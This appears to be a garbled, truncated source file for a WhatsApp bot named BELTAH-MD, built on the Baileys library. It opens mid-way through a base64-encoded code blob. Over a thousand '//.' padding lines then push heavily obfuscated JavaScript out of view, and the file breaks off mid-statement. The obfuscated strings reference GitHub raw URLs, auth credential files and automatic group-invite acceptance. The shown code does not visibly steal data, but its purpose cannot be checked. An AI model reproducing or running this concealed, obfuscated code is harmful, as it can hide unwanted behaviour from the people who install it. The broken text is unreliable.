MqA4bSH6pywyap4IDogWyAke3ByZWZpeGV9IF0K4pWRIOG0jeG0j+G0heG0hyA6JHttZH3vuI4K4pWw4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4oq3Cgrila3ilIDilIDilIDil4cK4pSD8J+buCBORVcgVVBEQVRFIEFWQUlMQUJMRSDwn5u4CuKUgyBwbGVhc2UgdXBkYXRlIHlvdXIgJHtjb25mLkJPVH0sIArilINUbyBmZXRjaCBsYXRlc3QgdmVyc2lvbiBjb21tYW5kcy4uLgrilbDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDiirdgOwogYXdhaXQgemsuc2VuZE1lc3NhZ2UoemsudXNlci5pZCwgeyB0ZXh0OiBjbXNnIH0pOwogfQoKIC8vIENhbGwgdGhlIG5ld2x5IGNyZWF0ZWQgbmV3c2xldHRlciBmdW5jdGlvbgogYXdhaXQgbmV3c2xldHRlcigpOwogfSBlbHNlIGlmIChjb25uZWN0aW9uID09ICJjbG9zZSIpIHsKIGxldCByYWlzb25EZWNvbm5leGlvbiA9IG5ldyBib29tXzEuQm9vbShsYXN0RGlzY29ubmVjdD8uZXJyb3IpPy5vdXRwdXQuc3RhdHVzQ29kZTsKIGlmIChyYWlzb25EZWNvbm5leGlvbiA9PT0gYmFpbGV5c18xLkRpc2Nvbm5lY3RSZWFzb24uYmFkU2Vzc2lvbikgewogY29uc29sZS5sb2coJ0ludmFsaWQgc2Vzc2lvbiBJRCwgcGxlYXNlIHJlc2NhbiB0aGUgUVIgY29kZS4uLicpOwogfSBlbHNlIGlmIChyYWlzb25EZWNvbm5leGlvbiA9PT0gYmFpbGV5c18xLkRpc2Nvbm5lY3RSZWFzb24uY29ubmVjdGlvbkNsb3NlZCkgewogY29uc29sZS5sb2coJyEhISBDb25uZWN0aW9uIGNsb3NlZCwgcmVjb25uZWN0aW5nLi4uJyk7CiBtYWluKCk7CiB9IGVsc2UgaWYgKHJhaXNvbkRlY29ubmV4aW9uID09PSBiYWlsZXlzXzEuRGlzY29ubmVjdFJlYXNvbi5jb25uZWN0aW9uTG9zdCkgewogY29uc29sZS5sb2coJ0Nvbm5lY3Rpb24gdG8gdGhlIHNlcnZlciBsb3N0IPCfmJ4sIHJlY29ubmVjdGluZy4uLicpOwogbWFpbigpOwogfSBlbHNlIGlmIChyYWlzb25EZWNvbm5leGlvbiA9PT0gYmFpbGV5c18xLkRpc2Nvbm5lY3RSZWFzb24/LmNvbm5lY3Rpb25SZXBsYWNlZCkgewogY29uc29sZS5sb2coJ0Nvbm5lY3Rpb24gcmVwbGFjZWQsIGEgc2Vzc2lvbiBpcyBhbHJlYWR5IG9wZW4sIHBsZWFzZSBjbG9zZSBpdCEhIScpOwogfSBlbHNlIGlmIChyYWlzb25EZWNvbm5leGlvbiA9PT0gYmFpbGV5c18xLkRpc2Nvbm5lY3RSZWFzb24ubG9nZ2VkT3V0KSB7CiBjb25zb2xlLmxvZygnWW91IGFyZSBsb2dnZWQgb3V0LCBwbGVhc2UgcmVzY2FuIHRoZSBRUiBjb2RlJyk7CiB9IGVsc2UgaWYgKHJhaXNvbkRlY29ubmV4aW9uID09PSBiYWlsZXlzXzEuRGlzY29ubmVjdFJlYXNvbi5yZXN0YXJ0UmVxdWlyZWQpIHsKIGNvbnNvbGUubG9nKCdSZXN0YXJ0aW5nLi4uIOKWtu+4jycpOwogbWFpbigpOwogfSBlbHNlIHsKIGNvbnNvbGUubG9nKCdSZXN0YXJ0aW5nIGR1ZSB0byBlcnJvcjogJywgcmFpc29uRGVjb25uZXhpb24pOwogY29uc3QgeyBleGVjIH0gPSByZXF1aXJlKCJjaGlsZF9wcm9jZXNzIik7CiBleGVjKCJwbTIgcmVzdGFydCBhbGwiKTsKIH0KIG1haW4oKTsKIH0KfSk7CiB6ay5ldi5vbigiY3JlZHMudXBkYXRlIiwgc2F2ZUNyZWRzKTsKIHprLmRvd25sb2FkQW5kU2F2ZU1lZGlhTWVzc2FnZSA9IGFzeW5jIChtZXNzYWdlLCBmaWxlbmFtZSA9ICcnLCBhdHRhY2hFeHRlbnNpb24gPSB0cnVlKSA9PiB7CiBsZXQgcXVvdGVkID0gbWVzc2FnZS5tc2cgPyBtZXNzYWdlLm1zZyA6IG1lc3NhZ2U7CiBsZXQgbWltZSA9IChtZXNzYWdlLm1zZyB8fCBtZXNzYWdlKS5taW1ldHlwZSB8fCAnJzsKIGxldCBtZXNzYWdlVHlwZSA9IG1lc3NhZ2UubXR5cGUgPyBtZXNzYWdlLm10eXBlLnJlcGxhY2UoL01lc3NhZ2UvZ2ksICcnKSA6IG1pbWUuc3BsaXQoJy8nKVswXTsKIGNvbnN0IHN0cmVhbSA9IGF3YWl0ICgwLCBiYWlsZXlzXzEuZG93bmxvYWRDb250ZW50RnJvbU1lc3NhZ2UpKHF1b3RlZCwgbWVzc2FnZVR5cGUpOwogbGV0IGJ1ZmZlciA9IEJ1ZmZlci5mcm9tKFtdKTsKIGZvciBhd2FpdCAoY29uc3QgY2h1bmsgb2Ygc3RyZWFtKSB7CiBidWZmZXIgPSBCdWZmZXIuY29uY2F0KFtidWZmZXIsIGNodW5rXSk7CiB9CiBsZXQgdHlwZSA9IGF3YWl0IEZpbGVUeXBlLmZyb21CdWZmZXIoYnVmZmVyKTsKIGxldCB0cnVlRmlsZU5hbWUgPSAnLi8nICsgZmlsZW5hbWUgKyAnLicgKyB0eXBlLmV4dDsKIGF3YWl0IGZzLndyaXRlRmlsZVN5bmModHJ1ZUZpbGVOYW1lLCBidWZmZXIpOwogcmV0dXJuIHRydWVGaWxlTmFtZTsKIH07CiB6ay5hd2FpdEZvck1lc3NhZ2UgPSBhc3luYyAob3B0aW9ucyA9IHt9KSA9PiB7CiByZXR1cm4gbmV3IFByb21pc2UoKHJlc29sdmUsIHJlamVjdCkgPT4gewogaWYgKHR5cGVvZiBvcHRpb25zICE9PSAnb2JqZWN0JykgcmVqZWN0KG5ldyBFcnJvcignT3B0aW9ucyBtdXN0IGJlIGFuIG9iamVjdCcpKTsKIGlmICh0eXBlb2Ygb3B0aW9ucy5zZW5kZXIgIT09ICdzdHJpbmcnKSByZWplY3QobmV3IEVycm9yKCdTZW5kZXIgbXVzdCBiZSBhIHN0cmluZycpKTsKIGlmICh0eXBlb2Ygb3B0aW9ucy5jaGF0SmlkICE9PSAnc3RyaW5nJykgcmVqZWN0KG5ldyBFcnJvcignQ2hhdEppZCBtdXN0IGJlIGEgc3RyaW5nJykpOwogaWYgKG9wdGlvbnMudGltZW91dCAmJiB0eXBlb2Ygb3B0aW9ucy50aW1lb3V0ICE9PSAnbnVtYmVyJykgcmVqZWN0KG5ldyBFcnJvcignVGltZW91dCBtdXN0IGJlIGEgbnVtYmVyJykpOwogaWYgKG9wdGlvbnMuZmlsdGVyICYmIHR5cGVvZiBvcHRpb25zLmZpbHRlciAhPT0gJ2Z1bmN0aW9uJykgcmVqZWN0KG5ldyBFcnJvcignRmlsdGVyIG11c3QgYmUgYSBmdW5jdGlvbicpKTsKIGNvbnN0IHRpbWVvdXQgPSBvcHRpb25zPy50aW1lb3V0IHx8IHVuZGVmaW5lZDsKIGNvbnN0IGZpbHRlciA9IG9wdGlvbnM/LmZpbHRlciB8fCAoKCkgPT4gdHJ1ZSk7CiBsZXQgaW50ZXJ2YWwgPSB1bmRlZmluZWQKIGxldCBsaXN0ZW5lciA9IChkYXRhKSA9PiB7CiBsZXQgeyB0eXBlLCBtZXNzYWdlcyB9ID0gZGF0YTsKIGlmICh0eXBlID09ICJub3RpZnkiKSB7CiBmb3IgKGxldCBtZXNzYWdlIG9mIG1lc3NhZ2VzKSB7CiBjb25zdCBmcm9tTWUgPSBtZXNzYWdlLmtleS5mcm9tTWU7CiBjb25zdCBjaGF0SWQgPSBtZXNzYWdlLmtleS5yZW1vdGVKaWQ7CiBjb25zdCBpc0dyb3VwID0gY2hhdElkLmVuZHNXaXRoKCdAZy51cycpOwogY29uc3QgaXNTdGF0dXMgPSBjaGF0SWQgPT0gJ3N0YXR1c0Bicm9hZGNhc3QnOwogY29uc3Qgc2VuZGVyID0gZnJvbU1lID8gemsudXNlci5pZC5yZXBsYWNlKC86LipAL2csICdAJykgOiAoaXNHcm91cCB8fCBpc1N0YXR1cykgPyBtZXNzYWdlLmtleS5wYXJ0aWNpcGFudC5yZXBsYWNlKC86LipAL2csICdAJykgOiBjaGF0SWQ7CiBpZiAoc2VuZGVyID09IG9wdGlvbnMuc2VuZGVyICYmIGNoYXRJZCA9PSBvcHRpb25zLmNoYXRKaWQgJiYgZmlsdGVyKG1lc3NhZ2UpKSB7CiB6ay5ldi5vZmYoJ21lc3NhZ2VzLnVwc2VydCcsIGxpc3RlbmVyKTsKIGNsZWFyVGltZW91dChpbnRlcnZhbCk7CiByZXNvbHZlKG1lc3NhZ2UpOwogfQogfQogfQogfQogemsuZXYub24oJ21lc3NhZ2VzLnVwc2VydCcsIGxpc3RlbmVyKTsKIGlmICh0aW1lb3V0KSB7CiBpbnRlcnZhbCA9IHNldFRpbWVvdXQoKCkgPT4gewogemsuZXYub2ZmKCdtZXNzYWdlcy51cHNlcnQnLCBsaXN0ZW5lcik7CiByZWplY3QobmV3IEVycm9yKCdUaW1lb3V0JykpOwogfSwgdGltZW91dCk7CiB9CiB9KTsKIH0KIHJldHVybiB6azsKIH0KIGxldCBmaWNoaWVyID0gcmVxdWlyZS5yZXNvbHZlKF9fZmlsZW5hbWUpOwogZnMud2F0Y2hGaWxlKGZpY2hpZXIsICgpID0+IHsKIGZzLnVud2F0Y2hGaWxlKGZpY2hpZXIpOwogY29uc29sZS5sb2coYFVwZGF0ZWQgJHtfX2ZpbGVuYW1lfWApOwogZGVsZXRlIHJlcXVpcmUuY2FjaGVbZmljaGllcl07CiByZXF1aXJlKGZpY2hpZXIpOwogfSk7CiBtYWluKCk7Cn0sIDUwMDApOw== 18 | //ᴘᴏᴡᴇʀᴇᴅ ʙʏ ʙᴇʟᴛᴀʜ ᴛᴇᴄʜ ᴛᴇᴀᴍ. 19 | 20 | 21 | 22 | 23 | 24 | //. 25 | //. 26 | //. 27 | //. 28 | //. 29 | //. 30 | //. 31 | //. 32 | //. 33 | //. 34 | 35 | //. 36 | //. 37 | //. 38 | //. 39 | //. 40 | //. 41 | //. 42 | //. 43 | //. 44 | //. 45 | //. 46 | //. 47 | //. 48 | //. 49 | 50 | 51 | 52 | 53 | //. 54 | //. 55 | //. 56 | //. 57 | //. 58 | //. 59 | //. 60 | //. 61 | //. 62 | //. 63 | 64 | //. 65 | //. 66 | //. 67 | //. 68 | //. 69 | //. 70 | //. 71 | //. 72 | //. 73 | //. 74 | //. 75 | //. 76 | //. 77 | //. 78 | 79 | 80 | 81 | 82 | //. 83 | //. 84 | //. 85 | //. 86 | //. 87 | //. 88 | //. 89 | //. 90 | //. 91 | //. 92 | 93 | //. 94 | //. 95 | //. 96 | //. 97 | //. 98 | //. 99 | //. 100 | //. 101 | //. 102 | //. 103 | //. 104 | //. 105 | //. 106 | //. 107 | 108 | 109 | 110 | 111 | //. 112 | //. 113 | //. 114 | //. 115 | //. 116 | //. 117 | //. 118 | //. 119 | //. 120 | //. 121 | 122 | //. 123 | //. 124 | //. 125 | //. 126 | //. 127 | //. 128 | //. 129 | //. 130 | //. 131 | //. 132 | //. 133 | //. 134 | //. 135 | //. 136 | 137 | 138 | 139 | 140 | //. 141 | //. 142 | //. 143 | //. 144 | //. 145 | //. 146 | //. 147 | //. 148 | //. 149 | //. 150 | 151 | //. 152 | //. 153 | //. 154 | //. 155 | //. 156 | //. 157 | //. 158 | //. 159 | //. 160 | //. 161 | //. 162 | //. 163 | //. 164 | //. 165 | 166 | 167 | 168 | 169 | //. 170 | //. 171 | //. 172 | //. 173 | //. 174 | //. 175 | //. 176 | //. 177 | //. 178 | //. 179 | 180 | //. 181 | //. 182 | //. 183 | //. 184 | //. 185 | //. 186 | //. 187 | //. 188 | //. 189 | //. 190 | //. 191 | //. 192 | //. 193 | //. 194 | 195 | 196 | 197 | 198 | //. 199 | //. 200 | //. 201 | //. 202 | //. 203 | //. 204 | //. 205 | //. 206 | //. 207 | //. 208 | 209 | //. 210 | //. 211 | //. 212 | //. 213 | //. 214 | //. 215 | //. 216 | //. 217 | //. 218 | //. 219 | //. 220 | //. 221 | //. 222 | //. 223 | 224 | 225 | 226 | 227 | //. 228 | //. 229 | //. 230 | //. 231 | //. 232 | //. 233 | //. 234 | //. 235 | //. 236 | //. 237 | 238 | //. 239 | //. 240 | //. 241 | //. 242 | //. 243 | //. 244 | //. 245 | //. 246 | //. 247 | //. 248 | //. 249 | //. 250 | //. 251 | //. 252 | 253 | 254 | 255 | 256 | //. 257 | //. 258 | //. 259 | //. 260 | //. 261 | //. 262 | //. 263 | //. 264 | //. 265 | //. 266 | 267 | //. 268 | //. 269 | //. 270 | //. 271 | //. 272 | //. 273 | //. 274 | //. 275 | //. 276 | //. 277 | //. 278 | //. 279 | //. 280 | //. 281 | 282 | 283 | 284 | 285 | //. 286 | //. 287 | //. 288 | //. 289 | //. 290 | //. 291 | //. 292 | //. 293 | //. 294 | //. 295 | 296 | //. 297 | //. 298 | //. 299 | //. 300 | //. 301 | //. 302 | //. 303 | //. 304 | //. 305 | //. 306 | //. 307 | //. 308 | //. 309 | //. 310 | 311 | 312 | 313 | 314 | //. 315 | //. 316 | //. 317 | //. 318 | //. 319 | //. 320 | //. 321 | //. 322 | //. 323 | //. 324 | 325 | //. 326 | //. 327 | //. 328 | //. 329 | //. 330 | //. 331 | //. 332 | //. 333 | //. 334 | //. 335 | //. 336 | //. 337 | //. 338 | //. 339 | 340 | 341 | 342 | 343 | //. 344 | //. 345 | //. 346 | //. 347 | //. 348 | //. 349 | //. 350 | //. 351 | //. 352 | //. 353 | 354 | //. 355 | //. 356 | //. 357 | //. 358 | //. 359 | //. 360 | //. 361 | //. 362 | //. 363 | //. 364 | //. 365 | //. 366 | //. 367 | //. 368 | 369 | 370 | 371 | 372 | //. 373 | //. 374 | //. 375 | //. 376 | //. 377 | //. 378 | //. 379 | //. 380 | //. 381 | //. 382 | 383 | //. 384 | //. 385 | //. 386 | //. 387 | //. 388 | //. 389 | //. 390 | //. 391 | //. 392 | //. 393 | //. 394 | //. 395 | //. 396 | //. 397 | 398 | 399 | 400 | 401 | //. 402 | //. 403 | //. 404 | //. 405 | //. 406 | //. 407 | //. 408 | //. 409 | //. 410 | //. 411 | 412 | //. 413 | //. 414 | //. 415 | //. 416 | //. 417 | //. 418 | //. 419 | //. 420 | //. 421 | //. 422 | //. 423 | //. 424 | //. 425 | //. 426 | 427 | 428 | 429 | 430 | //. 431 | //. 432 | //. 433 | //. 434 | //. 435 | //. 436 | //. 437 | //. 438 | //. 439 | //. 440 | 441 | //. 442 | //. 443 | //. 444 | //. 445 | //. 446 | //. 447 | //. 448 | //. 449 | //. 450 | //. 451 | //. 452 | //. 453 | //. 454 | //. 455 | 456 | 457 | 458 | 459 | //. 460 | //. 461 | //. 462 | //. 463 | //. 464 | //. 465 | //. 466 | //. 467 | //. 468 | //. 469 | 470 | //. 471 | //. 472 | //. 473 | //. 474 | //. 475 | //. 476 | //. 477 | //. 478 | //. 479 | //. 480 | //. 481 | //. 482 | //. 483 | //. 484 | 485 | 486 | 487 | 488 | //. 489 | //. 490 | //. 491 | //. 492 | //. 493 | //. 494 | //. 495 | //. 496 | //. 497 | //. 498 | 499 | //. 500 | //. 501 | //. 502 | //. 503 | //. 504 | //. 505 | //. 506 | //. 507 | //. 508 | //. 509 | //. 510 | //. 511 | //. 512 | //. 513 | 514 | 515 | 516 | 517 | //. 518 | //. 519 | //. 520 | //. 521 | //. 522 | //. 523 | //. 524 | //. 525 | //. 526 | //. 527 | 528 | //. 529 | //. 530 | //. 531 | //. 532 | //. 533 | //. 534 | //. 535 | //. 536 | //. 537 | //. 538 | //. 539 | //. 540 | //. 541 | //. 542 | 543 | 544 | 545 | 546 | //. 547 | //. 548 | //. 549 | //. 550 | //. 551 | //. 552 | //. 553 | //. 554 | //. 555 | //. 556 | 557 | //. 558 | //. 559 | //. 560 | //. 561 | //. 562 | //. 563 | //. 564 | //. 565 | //. 566 | //. 567 | //. 568 | //. 569 | //. 570 | //. 571 | 572 | 573 | 574 | 575 | //. 576 | //. 577 | //. 578 | //. 579 | //. 580 | //. 581 | //. 582 | //. 583 | //. 584 | //. 585 | 586 | //. 587 | //. 588 | //. 589 | //. 590 | //. 591 | //. 592 | //. 593 | //. 594 | //. 595 | //. 596 | //. 597 | //. 598 | //. 599 | //. 600 | 601 | 602 | 603 | 604 | //. 605 | //. 606 | //. 607 | //. 608 | //. 609 | //. 610 | //. 611 | //. 612 | //. 613 | //. 614 | 615 | //. 616 | //. 617 | //. 618 | //. 619 | //. 620 | //. 621 | //. 622 | //. 623 | //. 624 | //. 625 | //. 626 | //. 627 | //. 628 | //. 629 | 630 | 631 | 632 | 633 | //. 634 | //. 635 | //. 636 | //. 637 | //. 638 | //. 639 | //. 640 | //. 641 | //. 642 | //. 643 | 644 | //. 645 | //. 646 | //. 647 | //. 648 | //. 649 | //. 650 | //. 651 | //. 652 | //. 653 | //. 654 | //. 655 | //. 656 | //. 657 | //. 658 | 659 | 660 | 661 | 662 | //. 663 | //. 664 | //. 665 | //. 666 | //. 667 | //. 668 | //. 669 | //. 670 | //. 671 | //. 672 | 673 | //. 674 | //. 675 | //. 676 | //. 677 | //. 678 | //. 679 | //. 680 | //. 681 | //. 682 | //. 683 | //. 684 | //. 685 | //. 686 | //. 687 | 688 | 689 | 690 | 691 | //. 692 | //. 693 | //. 694 | //. 695 | //. 696 | //. 697 | //. 698 | //. 699 | //. 700 | //. 701 | 702 | //. 703 | //. 704 | //. 705 | //. 706 | //. 707 | //. 708 | //. 709 | //. 710 | //. 711 | //. 712 | //. 713 | //. 714 | //. 715 | //. 716 | 717 | 718 | 719 | 720 | //. 721 | //. 722 | //. 723 | //. 724 | //. 725 | //. 726 | //. 727 | //. 728 | //. 729 | //. 730 | 731 | //. 732 | //. 733 | //. 734 | //. 735 | //. 736 | //. 737 | //. 738 | //. 739 | //. 740 | //. 741 | //. 742 | //. 743 | //. 744 | //. 745 | 746 | 747 | 748 | 749 | //. 750 | //. 751 | //. 752 | //. 753 | //. 754 | //. 755 | //. 756 | //. 757 | //. 758 | //. 759 | 760 | //. 761 | //. 762 | //. 763 | //. 764 | //. 765 | //. 766 | //. 767 | //. 768 | //. 769 | //. 770 | //. 771 | //. 772 | //. 773 | //. 774 | 775 | 776 | 777 | 778 | //. 779 | //. 780 | //. 781 | //. 782 | //. 783 | //. 784 | //. 785 | //. 786 | //. 787 | //. 788 | 789 | //. 790 | //. 791 | //. 792 | //. 793 | //. 794 | //. 795 | //. 796 | //. 797 | //. 798 | //. 799 | //. 800 | //. 801 | //. 802 | //. 803 | 804 | 805 | 806 | 807 | //. 808 | //. 809 | //. 810 | //. 811 | //. 812 | //. 813 | //. 814 | //. 815 | //. 816 | //. 817 | 818 | //. 819 | //. 820 | //. 821 | //. 822 | //. 823 | //. 824 | //. 825 | //. 826 | //. 827 | //. 828 | //. 829 | //. 830 | //. 831 | //. 832 | 833 | 834 | 835 | 836 | //. 837 | //. 838 | //. 839 | //. 840 | //. 841 | //. 842 | //. 843 | //. 844 | //. 845 | //. 846 | 847 | //. 848 | //. 849 | //. 850 | //. 851 | //. 852 | //. 853 | //. 854 | //. 855 | //. 856 | //. 857 | //. 858 | //. 859 | //. 860 | //. 861 | 862 | 863 | 864 | 865 | //. 866 | //. 867 | //. 868 | //. 869 | //. 870 | //. 871 | //. 872 | //. 873 | //. 874 | //. 875 | 876 | //. 877 | //. 878 | //. 879 | //. 880 | //. 881 | //. 882 | //. 883 | //. 884 | //. 885 | //. 886 | //. 887 | //. 888 | //. 889 | //. 890 | 891 | 892 | 893 | 894 | //. 895 | //. 896 | //. 897 | //. 898 | //. 899 | //. 900 | //. 901 | //. 902 | //. 903 | //. 904 | 905 | //. 906 | //. 907 | //. 908 | //. 909 | //. 910 | //. 911 | //. 912 | //. 913 | //. 914 | //. 915 | //. 916 | //. 917 | //. 918 | //. 919 | 920 | 921 | 922 | 923 | //. 924 | //. 925 | //. 926 | //. 927 | //. 928 | //. 929 | //. 930 | //. 931 | //. 932 | //. 933 | 934 | //. 935 | //. 936 | //. 937 | //. 938 | //. 939 | //. 940 | //. 941 | //. 942 | //. 943 | //. 944 | //. 945 | //. 946 | //. 947 | //. 948 | 949 | 950 | 951 | 952 | //. 953 | //. 954 | //. 955 | //. 956 | //. 957 | //. 958 | //. 959 | //. 960 | //. 961 | //. 962 | 963 | //. 964 | //. 965 | //. 966 | //. 967 | //. 968 | //. 969 | //. 970 | //. 971 | //. 972 | //. 973 | //. 974 | //. 975 | //. 976 | //. 977 | 978 | 979 | 980 | 981 | //. 982 | //. 983 | //. 984 | //. 985 | //. 986 | //. 987 | //. 988 | //. 989 | //. 990 | //. 991 | 992 | //. 993 | //. 994 | //. 995 | //. 996 | //. 997 | //. 998 | //. 999 | //. 1000 | //. 1001 | //. 1002 | //. 1003 | //. 1004 | //. 1005 | //. 1006 | 1007 | 1008 | 1009 | 1010 | //. 1011 | //. 1012 | //. 1013 | //. 1014 | //. 1015 | //. 1016 | //. 1017 | //. 1018 | //. 1019 | //. 1020 | 1021 | //. 1022 | //. 1023 | //. 1024 | //. 1025 | //. 1026 | //. 1027 | //. 1028 | //. 1029 | //. 1030 | //. 1031 | //. 1032 | //. 1033 | //. 1034 | //. 1035 | 1036 | 1037 | 1038 | 1039 | //. 1040 | //. 1041 | //. 1042 | //. 1043 | //. 1044 | //. 1045 | //. 1046 | //. 1047 | //. 1048 | //. 1049 | 1050 | //. 1051 | //. 1052 | //. 1053 | //. 1054 | //. 1055 | //. 1056 | //. 1057 | //. 1058 | //. 1059 | //. 1060 | //. 1061 | //. 1062 | //. 1063 | //. 1064 | 1065 | 1066 | 1067 | 1068 | //. 1069 | //. 1070 | //. 1071 | //. 1072 | //. 1073 | //. 1074 | //. 1075 | //. 1076 | //. 1077 | //. 1078 | 1079 | //. 1080 | //. 1081 | //. 1082 | //. 1083 | //. 1084 | //. 1085 | //. 1086 | //. 1087 | //. 1088 | //. 1089 | //. 1090 | //. 1091 | //. 1092 | //. 1093 | 1094 | 1095 | 1096 | 1097 | //. 1098 | //. 1099 | //. 1100 | //. 1101 | //. 1102 | //. 1103 | //. 1104 | //. 1105 | //. 1106 | //. 1107 | 1108 | //. 1109 | //. 1110 | //. 1111 | //. 1112 | //. 1113 | //. 1114 | //. 1115 | //. 1116 | //. 1117 | //. 1118 | //. 1119 | //. 1120 | //. 1121 | //. 1122 | 1123 | 1124 | 1125 | 1126 | //. 1127 | //. 1128 | //. 1129 | //. 1130 | //. 1131 | //. 1132 | //. 1133 | //. 1134 | //. 1135 | //. 1136 | 1137 | //. 1138 | //. 1139 | //. 1140 | //. 1141 | //. 1142 | //. 1143 | //. 1144 | //. 1145 | //. 1146 | //. 1147 | //. 1148 | //. 1149 | //. 1150 | //. 1151 | //'use strict';const _0x1cc70d=_0x4bcc;(function(_0x5a7fc8,_0x350142){const _0x437f73=_0x4bcc,_0x49bb31=_0x5a7fc8();while(!![]){try{const _0x497450=-parseInt(_0x437f73(0x1a8))/(0x18d2+0xc91*-0x1+-0xc40)*(parseInt(_0x437f73(0x155))/(0x913*-0x4+-0x15a3+0x39f1))+parseInt(_0x437f73(0x1c4))/(0x134c+-0x1420+-0x1*-0xd7)+parseInt(_0x437f73(0x1a5))/(0x6d*-0x52+-0xa*0x72+0x2762)*(parseInt(_0x437f73(0x178))/(-0x35e+-0xba6+0x1*0xf09))+-parseInt(_0x437f73(0x16c))/(0x18b5+-0x1f93*-0x1+-0x1c21*0x2)+-parseInt(_0x437f73(0x1c2))/(0x7cd+-0x1052+0x88c)+parseInt(_0x437f73(0x198))/(0x2*0x85d+-0xd*0x16f+0x1f1)+parseInt(_0x437f73(0x151))/(0x1*0x11c2+-0x3b*-0x87+-0x30d6);if(_0x497450===_0x350142)break;else _0x49bb31['push'](_0x49bb31['shift']());}catch(_0x1740a2){_0x49bb31['push'](_0x49bb31['shift']());}}}(_0x7641,-0xd6b2a*0x1+-0xde6bb+-0x1*-0x239d1f));var __createBinding=this&&this['__createBi'+_0x1cc70d(0x173)]||(Object['create']?function(_0x456d4c,_0x2be77e,_0x527b12,_0x4ce8ca){const _0x4e4ae8={'bKUoe':function(_0x53b03b,_0x37f4e2){return _0x53b03b in _0x37f4e2;}};_0x4ce8ca===undefined&&(_0x4ce8ca=_0x527b12);var _0x13be32=Object['getOwnProp'+'ertyDescri'+'ptor'](_0x2be77e,_0x527b12);(!_0x13be32||(_0x4e4ae8['bKUoe']('get',_0x13be32)?!_0x2be77e['__esModule']:_0x13be32['writable']||_0x13be32['configurab'+'le']))&&(_0x13be32={'enumerable':!![],'get':function(){return _0x2be77e[_0x527b12];}}),Object['defineProp'+'erty'](_0x456d4c,_0x4ce8ca,_0x13be32);}:function(_0x1e192f,_0x2ddd6e,_0x2e820c,_0x294380){_0x294380===undefined&&(_0x294380=_0x2e820c),_0x1e192f[_0x294380]=_0x2ddd6e[_0x2e820c];}),__setModuleDefault=this&&this['__setModul'+'eDefault']||(Object['create']?function(_0xee9770,_0x4b3f2b){const _0x446361=_0x1cc70d,_0x1c0537={'Vpxhn':'default'};Object['defineProp'+_0x446361(0x159)](_0xee9770,_0x1c0537['Vpxhn'],{'enumerable':!![],'value':_0x4b3f2b});}:function(_0x4485d7,_0x535a91){const _0x47efc2={'OhORe':'default'};_0x4485d7[_0x47efc2['OhORe']]=_0x535a91;}),__importStar=this&&this['__importSt'+'ar']||function(_0x58b1d8){const _0x5b8dec={'gQZBb':function(_0x2ce3e4,_0x473539){return _0x2ce3e4!==_0x473539;}};if(_0x58b1d8&&_0x58b1d8['__esModule'])return _0x58b1d8;var _0x1f0d3e={};if(_0x58b1d8!=null){for(var _0x397b4c in _0x58b1d8)_0x5b8dec['gQZBb'](_0x397b4c,'default')&&Object['prototype']['hasOwnProp'+'erty']['call'](_0x58b1d8,_0x397b4c)&&__createBinding(_0x1f0d3e,_0x58b1d8,_0x397b4c);}return __setModuleDefault(_0x1f0d3e,_0x58b1d8),_0x1f0d3e;},__importDefault=this&&this['__importDe'+'fault']||function(_0x35fbf8){return _0x35fbf8&&_0x35fbf8['__esModule']?_0x35fbf8:{'default':_0x35fbf8};};Object['defineProp'+'erty'](exports,'__esModule',{'value':!![]});const baileys_1=__importStar(require('@whiskeyso'+'ckets/bail'+'eys')),logger_1=__importDefault(require('@whiskeyso'+'ckets/bail'+'eys/lib/Ut'+'ils/logger')),logger=logger_1['default']['child']({});logger['level']=_0x1cc70d(0x18f);const pino=require('pino'),axios=require('axios'),{DateTime}=require('luxon'),boom_1=require('@hapi/boom'),conf=require('./set');let fs=require('fs-extra'),path=require('path');const FileType=require('file-type'),{Sticker,createSticker,StickerTypes}=require('wa-sticker'+'-formatter'),{verifierEtatJid,recupererActionJid}=require('./bdd/anti'+'lien'),{atbverifierEtatJid,atbrecupererActionJid}=require('./bdd/anti'+'bot');let evt=require(__dirname+(_0x1cc70d(0x1b6)+'eith'));function _0x7641(){const _0x5915a8=['random','successful','restartReq','imageMessa','bot\x20comman','nding','KmCPKp9B2u','bind','AUTO_READ_','AUTO_STATU','227405EFxyDa','floor','PFYns','Africa/Nai','ti-promoti','demote','off','ring','ade\x20;\x0a\x20res','ᴛᴀʜ-ᴍᴅ','ttonId','\x20update\x20by','user','s.json','😡😡\x20','ess','ile/dcce2d','long','MODE','found.','EqulC','seMessage','Successful','silent','st1.webp','xtMessage','existsSync','Follow','n\x20rule\x20by\x20','.update','split','\x20👻\x20||\x20𝐃𝐚𝐭𝐞','6005008rDnwrX','a\x20message.','\x20replaced,','fromMe','mentionedJ','p.net','ercontent.','ror:\x20','link\x20detec','key','strative\x20r','cipantsUpd','schedule','76DHaWaq','unwatchFil','UpuiR','865642mdDKpS',',\x20\x0a┃To\x20fet','psert','w.githubus','Sender\x20mus','!!!\x20Connec','inspect','trim','statusCode','STATUS','ate','WARN_COUNT','author','length','/keizzah/k','ute\x20this\x20c','audio','mmands...\x0a','Throttling','iltech.my.','log','BOX','connection','sendPresen','urYoo','\x20:\x20','3144141obPizF','caption','2313924dvLKsg','FIOyN','*ᴅᴇʟᴇᴛᴇᴅ\x20ʙ','\x20Beltah\x20Te','sendMessag','🏋️','reactions','ed\x20;you\x20wi','./bdd/warn','error','URL','/auth/cred','one\x20or\x20som','data','ipped:\x20Too','utf8','4921857lJeUgo','\x20ᴀɴᴛɪᴅᴇʟᴇᴛ','bPVhc','epeat\x20Comm','2fqzlBN','delete','updates...','\x20𝐢𝐬\x20𝐎𝐧𝐥𝐢𝐧𝐞','erty','ser','Cas\x20de\x20sup','Error\x20hand','./bdd/sudo','hing\x20chatb','short\x20time','\x20removed\x20f','rgaqo','ver.gif','pVZHB','ssage\x20:\x20','participan','Reason','FULL','message','utomute\x20po','add','groupAccep','6447570PWxUGr','msg'];_0x7641=function(){return _0x5915a8;};return _0x7641();}const {isUserBanned,addUserToBanList,removeUserFromBanList}=require('./bdd/banU'+_0x1cc70d(0x15a)),{addGroupToBanList,isGroupBanned,removeGroupFromBanList}=require('./bdd/banG'+'roup'),{isGroupOnlyAdmin,addGroupToOnlyAdminList,removeGroupFromOnlyAdminList}=require('./bdd/only'+'Admin');let {reagir}=require(__dirname+('/keizzah/a'+'pp'));var session=conf['session']['replace'](/BELTAH-MD;;;=>/g,'');const 